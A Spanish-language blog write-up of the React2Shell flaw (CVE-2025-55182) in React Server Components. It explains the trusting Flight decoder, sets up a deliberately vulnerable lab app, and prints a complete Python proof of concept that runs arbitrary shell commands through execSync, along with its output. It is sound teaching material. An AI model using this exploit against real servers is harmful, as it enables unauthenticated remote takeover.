Vulnerabilidad crítica React2Shell (CVE-2025-55182), con una puntuación CVSS de 10.0, permite la ejecución remota de código (RCE) en servidores vulnerables mediante la manipulación del protocolo Flight utilizado en React Server Components. La vulnerabilidad se debe a una falta de validación en el decoder, que asume que los datos recibidos son legítimos, permitiendo la inyección de código malicioso a través de solicitudes HTTP especialmente diseñadas.

A comienzos de enero de 2025, el investigador independiente J. C. Tommasi inició una revisión sistemática del flujo interno que React emplea para transportar y reconstruir componentes del lado del servidor: el protocolo Flight, una pieza fundamental del motor de React Server Components (RSC). Lo que comenzó como una simple curiosidad terminó convirtiéndose en uno de los hallazgos más importantes en la historia reciente de React.

La investigación arrancó analizando tráfico entre cliente y servidor en entornos Next.js recientes. Allí apareció algo peculiar: el endpoint /_rsc devolvía estructuras que no se parecían a JSON ni a ningún formato estándar. Eran tuplas numeradas y símbolos internos, una especie de “lenguaje privado” que React utiliza para transmitir:

• referencias a módulos del servidor
• props serializadas
• instrucciones para reconstruir el árbol de RSC
• identificadores internos del runtime

El investigador encontró que este lenguaje —el protocolo Flight— se procesaba mediante un decoder que asumía algo crucial: “Todo lo que entra por este canal proviene exclusivamente del propio React”.

Ese supuesto, completamente invisible para el usuario final, era la llave del desastre. React aceptaba cualquier estructura que tuviera la forma aproximada de un paquete Flight, y la reinterpretaba como si fuera un nodo interno legítimo. No había validación estricta, no había control de origen, no había barreras entre el mundo externo y el corazón del runtime. 

¿Qué implicaba eso? Pues que un atacante podía fabricar una estructura “similar” a un objeto Flight real y entregarla al endpoint vulnerable. El decoder, engañado por la forma del paquete, intentaba reconstruir el árbol lógico a partir de esa información manipulada. Ese cruce entre input externo y mecanismos internos es el núcleo de React2Shell. No se trata de un “bug”. Se trata de una brecha conceptual en la frontera de confianza de una arquitectura completa.

El 3 de diciembre de 2025, el mundo de la ciberseguridad recibió la noticia de esta vulnerabilidad crítica en el ecosistema de React 19. Esta fallo, identificada como CVE-2025-55182 con una puntuación CVSS de 10.0 permite a atacantes no autenticados ejecutar código remoto (RCE) en servidores vulnerables mediante el envío de una solicitud HTTP especialmente diseñada.

Taller práctico: levantando y probando en un laboratorio vulnerable

Para estudiar la vulnerabilidad con rigor, el propio Tommasi publicó una aplicación de laboratorio intencionadamente vulnerable, diseñada para permitir a analistas observar el comportamiento real del decoder sin necesidad de comprometer ningún sistema en producción. El repo lo tenemos en: https://github.com/jctommasi/react2shellVulnApp

La aplicación simula un entorno bancario y expone un endpoint /_rsc vulnerable, ideal para estudiar el procesamiento de paquetes Flight alterados.

git clone https://github.com/jctommasi/react2shellVulnApp
cd react2shellVulnApp

npm install
npm run dev

O si prefieres Docker:

docker build -t react2shell-lab . docker run -p 3000:3000 react2shell-lab

Una vez levantado, el entorno expone el flujo vulnerable del protocolo Flight en modo real, lo que permite interactuar con él en condiciones controladas.

http://localhost:3000

Y para explotarlo usamos la PoC funcional del repo https://github.com/msanft/CVE-2025-55182/blob/main/poc.py:

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

La cadena completa del exploit:

• Cliente envía chunks maliciosos al endpoint / _rsc
• Decoder los interpreta como objetos internos legítimos.
• Thenables manipulados ejecutan código en await.
• reviveModel() ofrece un gadget de ejecución (Function).
• En la PoC real, esto desemboca en ejecución remota de comandos.

Y el resultado:

$ python exploit.py 
500
0:{"a":"$@1","f":"","b":"I798mSeGK8f46G1dEr69X"}
1:E{"digest":"uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup),65533(nogroup)"}

Fuentes:
https://www.hackplayers.com/2025/12/eact2shell-anatomia-de-una-vuln.html